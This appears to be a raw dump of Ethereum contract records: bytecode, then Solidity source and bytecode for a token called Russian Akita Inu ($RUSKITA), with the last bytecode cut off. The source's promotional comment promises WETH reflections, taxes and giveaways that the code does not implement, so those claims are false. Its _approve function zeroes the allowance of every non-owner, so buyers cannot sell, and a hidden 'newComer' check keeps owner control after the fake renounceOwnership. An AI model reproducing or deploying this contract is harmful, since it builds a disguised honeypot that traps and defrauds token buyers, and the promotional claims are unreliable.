0x608060405234801561001057600080fd5b506004361061014c5760003560e01c806370a08231116100c3578063a9059cbb1161007c578063a9059cbb14610625578063d3d381931461068b578063d73dd623146106e3578063dd62ed3e14610749578063e9b2f0ad146107c1578063f2fde38b1461080f5761014c565b806370a08231146104505780638456cb59146104a85780638da5cb5b146104b257806395d89b41146104fc5780639f2cfaf11461057f578063a4df6c6a146105d75761014c565b8063313ce56711610115578063313ce567146103225780633f4ba83a146103465780634d853ee5146103505780635c975abb1461039a57806366188463146103bc5780636d1b229d146104225761014c565b8062f55d9d1461015157806306fdde0314610195578063095ea7b31461021857806318160ddd1461027e57806323b872dd1461029c575b600080fd5b6101936004803603602081101561016757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610853565b005b61019d6108c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5780820151818401526020810190506101c2565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102646004803603604081101561022e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610964565b604051808215151515815260200191505060405180910390f35b6102866109ea565b6040518082815260200191505060405180910390f35b610308600480360360608110156102b257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f0565b604051808215151515815260200191505060405180910390f35b61032a610a78565b604051808260ff1660ff16815260200191505060405180910390f35b61034e610a8b565b005b610358610b47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a2610b6d565b604051808215151515815260200191505060405180910390f35b610408600480360360408110156103d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b80565b604051808215151515815260200191505060405180910390f35b61044e6004803603602081101561043857600080fd5b8101908080359060200190929190505050610c06565b005b6104926004803603602081101561046657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d76565b6040518082815260200191505060405180910390f35b6104b0610da2565b005b6104ba610eb7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610504610edd565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610544578082015181840152602081019050610529565b50505050905090810190601f1680156105715780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105c16004803603602081101561059557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7b565b6040518082815260200191505060405180910390f35b610623600480360360408110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc4565b005b6106716004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b5565b604051808215151515815260200191505060405180910390f35b6106cd600480360360208110156106a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b61072f600480360360408110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611184565b604051808215151515815260200191505060405180910390f35b6107ab6004803603604081101561075f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120a565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611291565b005b6108516004803603602081101561082557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611382565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16ff5b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561095c5780601f106109315761010080835404028352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b6000600460009054906101000a900460ff1615806109cf5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109d857600080fd5b6109e283836114d6565b905092915050565b60005481565b6000600460009054906101000a900460ff161580610a5b5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a6457600080fd5b610a6f84848461165b565b90509392505050565b600760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae557600080fd5b600460009054906101000a900460ff16610afe57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b6000600460009054906101000a900460ff161580610beb5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf457600080fd5b610bfe8383611a79565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6057600080fd5b80610c6a33610d76565b1015610c7557600080fd5b610cc781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1f81600054611d0a90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6826040518082815260200191505060405180910390a250565b6000610d9b610d8483610f7b565b610d8d8461113b565b611d0a90919063ffffffff16565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b600460009054906101000a900460ff161580610e655750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e6e57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f735780601f10610f4857610100808354040283529160200191610f73565b820191906000526020600020905b815481529060010190602001808311610f5657829003601f168201915b505050505081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b61102782610d76565b81111561103357600080fd5b600061103e83610f7b565b905060006110558383611d2190919063ffffffff16565b90506110618482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f2303912415a23c08c0cbb3a0b2b2813870ad5a2fd7b18c6d9da7d0086d9c188e846040518082815260200191505060405180910390a250505050565b6000600460009054906101000a900460ff1615806111205750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61112957600080fd5b6111338383611d85565b905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900460ff1615806111ef5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111f857600080fd5b6112028383611f6e565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112eb57600080fd5b6112f482610f7b565b81111561130057600080fd5b600061130b83610f7b565b905060006113228383611d0a90919063ffffffff16565b905061132e8482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f25f6369ffb8611a066eafc897e56f4f4d2b8fc713cca586bd93e9b1af04a6cc0846040518082815260200191505060405180910390a250505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561141657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082148061156257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61156b57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561169657600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561171f57600080fd5b8161172985610d76565b101561173457600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b116117d057600080fd5b61182282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611b8a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1e565b611b9d8382611d0a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115611d1657fe5b818303905092915050565b600080828401905083811015611d3357fe5b8091505092915050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc057600080fd5b611dc933610d76565b821115611dd557600080fd5b611e2782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611fff82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fea265627a7a72315820e8661465fba708a1b107b33bb867781d22d6451cd46c17c028a361393ca1ed2364736f6c634300050b0032
|
{"success": true, "error": null, "results": {}}
| 4,234 |
0x9d2c2da87d79579a86972cdf09653cb950278de4
|
/*
RUSKITA (http://ruskita.net) is a universal currency that rewards holders in Wrapped Ethereum, set to launch on August 9th, at 6PM EST.
It is the first ERC20 token that rewards holders in WETH. Simply hold Ruskita in your wallet for a minimum of 24 hours and watch the amount of $WETH increase over time. 100% Community Owned With ZERO Team Tokens, plus anti whale and anti bot features, Ruskita is looking to plant itself as the next big dog coin on the Ethereum chain.
Experienced team and we're giving away 1 Billion Shib and 1 Billion Saitama Inu
1B Saitama Inu giveaway At 500 holders.
1B Shib Inu giveaway at 1000 holders.
CoinGecko listing lined up
Tank game releasing in 1 Month
Tokenomics:
1 Trillion total supply
4% WETH reflections to holders
4% Marketing wallet
8% Round trip tax
You Must HODL $RUSKITA for 24hours before $WETH reflections begin
Official website: ruskita.net
Official Twitter: twitter.com/russianakitainu
Official community reddit group: reddit.com/r/ruskita
Official Instagram Page: instagram.com/russianakitainu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract RUSKITATOKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'Russian Akita Inu';
string private _symbol = '$RUSKITA️';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815